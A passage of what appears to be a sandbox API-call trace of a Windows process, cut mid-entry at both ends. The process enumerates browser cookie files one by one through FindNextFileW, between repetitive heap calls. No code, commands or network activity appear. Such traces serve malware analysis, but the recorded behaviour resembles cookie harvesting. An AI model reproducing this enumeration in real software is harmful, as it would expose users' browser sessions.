0x6658b8 [0298.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0298.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x655910 [0298.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6658b8 | out: hHeap=0x570000) returned 1 [0298.865] GetLastError () returned 0x0 [0298.865] SetLastError (dwErrCode=0x0) [0298.865] GetLastError () returned 0x0 [0298.865] SetLastError (dwErrCode=0x0) [0298.865] GetLastError () returned 0x0 [0298.866] SetLastError (dwErrCode=0x0) [0298.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82808 [0298.866] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9b158975, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9b158975, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9b158975, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x79, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="8OEJM9K0.cookie", cAlternateFileName="8OEJM9~1.COO")) returned 1 [0298.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655910 | out: hHeap=0x570000) returned 1 [0298.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0298.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0298.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0298.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664788 [0298.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0298.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654ea8 [0298.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0298.866] GetLastError () returned 0x0 [0298.866] SetLastError (dwErrCode=0x0) [0298.866] GetLastError () returned 0x0 [0298.866] SetLastError (dwErrCode=0x0) [0298.866] GetLastError () returned 0x0 [0298.866] SetLastError (dwErrCode=0x0) [0298.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0298.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0298.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f823e8 [0298.866] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2130936, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa2130936, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa2130936, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x1aa, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="8VSHOV3Z.cookie", cAlternateFileName="8VSHOV~1.COO")) returned 1 [0298.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654ea8 | out: hHeap=0x570000) returned 1 [0298.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0298.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ae80 [0298.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0298.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665728 [0298.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ae80 | out: hHeap=0x570000) returned 1 [0298.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x656378 [0298.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665728 | out: hHeap=0x570000) returned 1 [0298.867] GetLastError () returned 0x0 [0298.867] SetLastError (dwErrCode=0x0) [0298.867] GetLastError () returned 0x0 [0298.867] SetLastError (dwErrCode=0x0) [0298.867] GetLastError () returned 0x0 [0298.867] SetLastError (dwErrCode=0x0) [0298.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0298.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0298.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f81cb0 [0298.867] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa028e354, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa028e354, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa028e354, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x136, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="8XKMVK96.cookie", cAlternateFileName="8XKMVK~1.COO")) returned 1 [0298.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656378 | out: hHeap=0x570000) returned 1 [0298.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0298.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b2c0 [0298.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0298.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0298.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b2c0 | out: hHeap=0x570000) returned 1 [0298.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654fd0 [0298.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0298.867] GetLastError () returned 0x0 [0298.868] SetLastError (dwErrCode=0x0) [0298.868] GetLastError () returned 0x0 [0298.868] SetLastError (dwErrCode=0x0) [0298.868] GetLastError () returned 0x0 [0298.868] SetLastError (dwErrCode=0x0) [0298.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6640 [0298.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6640 | out: hHeap=0x570000) returned 1 [0298.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f822e0 [0298.868] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaa74f318, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xaa74f318, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xaa74f318, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="90A0XGCB.cookie", cAlternateFileName="90A0XG~1.COO")) returned 1 [0298.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654fd0 | out: hHeap=0x570000) returned 1 [0298.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0298.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0298.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0298.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665278 [0298.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0298.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6564a0 [0298.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665278 | out: hHeap=0x570000) returned 1 [0298.868] GetLastError () returned 0x0 [0298.868] SetLastError (dwErrCode=0x0) [0298.868] GetLastError () returned 0x0 [0298.868] SetLastError (dwErrCode=0x0) [0298.868] GetLastError () returned 0x0 [0298.868] SetLastError (dwErrCode=0x0) [0298.868] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0298.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0298.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82910 [0298.869] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaecf5288, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xaecf5288, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xaecf5288, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa1, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="9ITKWZA9.cookie", cAlternateFileName="9ITKWZ~1.COO")) returned 1 [0298.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6564a0 | out: hHeap=0x570000) returned 1 [0298.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0298.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8aa40 [0298.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0298.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6658b8 [0298.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0298.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6557e8 [0298.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6658b8 | out: hHeap=0x570000) returned 1 [0298.869] GetLastError () returned 0x0 [0298.869] SetLastError (dwErrCode=0x0) [0298.869] GetLastError () returned 0x0 [0298.869] SetLastError (dwErrCode=0x0) [0298.869] GetLastError () returned 0x0 [0298.869] SetLastError (dwErrCode=0x0) [0298.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6730 [0298.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6730 | out: hHeap=0x570000) returned 1 [0298.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82b20 [0298.869] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa8910631, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa8910631, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa8910631, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="B8VJSZ53.cookie", cAlternateFileName="B8VJSZ~1.COO")) returned 1 [0298.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6557e8 | out: hHeap=0x570000) returned 1 [0298.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0298.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b348 [0298.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0298.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664788 [0298.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b348 | out: hHeap=0x570000) returned 1 [0298.870] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x655ed8 [0298.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0298.870] GetLastError () returned 0x0 [0298.870] SetLastError (dwErrCode=0x0) [0298.870] GetLastError () returned 0x0 [0298.870] SetLastError (dwErrCode=0x0) [0298.870] GetLastError () returned 0x0 [0298.870] SetLastError (dwErrCode=0x0) [0298.870] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6758 [0298.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6758 | out: hHeap=0x570000) returned 1 [0298.870] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82f40 [0298.870] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x1257b4d9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x1257b4d9, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x1257b4d9, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0298.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655ed8 | out: hHeap=0x570000) returned 1 [0298.870] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0298.870] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b348 [0298.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0298.870] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664aa8 [0298.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b348 | out: hHeap=0x570000) returned 1 [0298.870] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x656378 [0298.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664aa8 | out: hHeap=0x570000) returned 1 [0298.870] GetLastError () returned 0x0 [0298.870] SetLastError (dwErrCode=0x0) [0298.870] GetLastError () returned 0x0 [0298.870] SetLastError (dwErrCode=0x0) [0298.870] GetLastError () returned 0x0 [0298.871] SetLastError (dwErrCode=0x0) [0298.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0298.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0298.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ca0 [0298.871] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa5c796d5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa5c796d5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa5c796d5, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="DEPEYPX1.cookie", cAlternateFileName="DEPEYP~1.COO")) returned 1 [0298.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656378 | out: hHeap=0x570000) returned 1 [0298.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0298.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8adf8 [0298.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0298.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665728 [0298.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0298.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6556c0 [0298.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665728 | out: hHeap=0x570000) returned 1 [0298.871] GetLastError () returned 0x0 [0298.871] SetLastError (dwErrCode=0x0) [0298.871] GetLastError () returned 0x0 [0298.871] SetLastError (dwErrCode=0x0) [0298.871] GetLastError () returned 0x0 [0298.871] SetLastError (dwErrCode=0x0) [0298.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83048 [0298.871] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa153fb53, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa153fb53, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa153fb53, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="DMWBP500.cookie", cAlternateFileName="DMWBP5~1.COO")) returned 1 [0298.871] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6556c0 | out: hHeap=0x570000) returned 1 [0298.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0298.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8adf8 [0298.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0298.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0298.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0298.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654d80 [0298.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0298.872] GetLastError () returned 0x0 [0298.872] SetLastError (dwErrCode=0x0) [0298.872] GetLastError () returned 0x0 [0298.872] SetLastError (dwErrCode=0x0) [0298.872] GetLastError () returned 0x0 [0298.872] SetLastError (dwErrCode=0x0) [0298.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f824f0 [0298.872] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7f57a4b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xd7f57a4b, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xd7f58df1, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x5e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="FE83WYZ0.txt", cAlternateFileName="")) returned 1 [0298.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654d80 | out: hHeap=0x570000) returned 1 [0298.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0298.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ab50 [0298.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0298.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0298.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ab50 | out: hHeap=0x570000) returned 1 [0298.872] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654b30 [0298.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0298.873] GetLastError () returned 0x0 [0298.873] SetLastError (dwErrCode=0x0) [0298.873] GetLastError () returned 0x0 [0298.873] SetLastError (dwErrCode=0x0) [0298.873] GetLastError () returned 0x0 [0298.873] SetLastError (dwErrCode=0x0) [0298.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6594e0 [0298.873] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa51b752a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa51b752a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa51b752a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="FN02L8WX.cookie", cAlternateFileName="FN02L8~1.COO")) returned 1 [0298.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654b30 | out: hHeap=0x570000) returned 1 [0298.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0298.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b3d0 [0298.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0298.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6643a0 [0298.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b3d0 | out: hHeap=0x570000) returned 1 [0298.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6556c0 [0298.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6643a0 | out: hHeap=0x570000) returned 1 [0298.873] GetLastError () returned 0x0 [0298.873] SetLastError (dwErrCode=0x0) [0298.873] GetLastError () returned 0x0 [0298.873] SetLastError (dwErrCode=0x0) [0298.873] GetLastError () returned 0x0 [0298.873] SetLastError (dwErrCode=0x0) [0298.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0298.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0298.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f82a18 [0298.873] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa028e354, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa028e354, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa028e354, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="GI1ULL4B.cookie", cAlternateFileName="GI1ULL~1.COO")) returned 1 [0298.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6556c0 | out: hHeap=0x570000) returned 1 [0298.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0298.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0298.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0298.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664d00 [0298.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0298.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x655a38 [0298.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664d00 | out: hHeap=0x570000) returned 1 [0298.874] GetLastError () returned 0x0 [0298.874] SetLastError (dwErrCode=0x0) [0298.874] GetLastError () returned 0x0 [0298.874] SetLastError (dwErrCode=0x0) [0298.874] GetLastError () returned 0x0 [0298.874] SetLastError (dwErrCode=0x0) [0298.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f83150 [0298.874] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa261c6d0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa261c6d0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa261c6d0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="GJQAXJS1.cookie", cAlternateFileName="GJQAXJ~1.COO")) returned 1 [0298.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655a38 | out: hHeap=0x570000) returned 1 [0298.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0298.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b3d0 [0298.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0298.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664850 [0298.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b3d0 | out: hHeap=0x570000) returned 1 [0298.874] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6548e0 [0298.874] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664850 | out: hHeap=0x570000) returned 1 [0298.874] GetLastError () returned 0x0 [0298.874] SetLastError (dwErrCode=0x0) [0298.874] GetLastError () returned 0x0 [0298.875] SetLastError (dwErrCode=0x0) [0298.875] GetLastError () returned 0x0 [0298.875] SetLastError (dwErrCode=0x0) [0298.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6708 [0298.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0298.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x2f825f8 [0298.875] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: 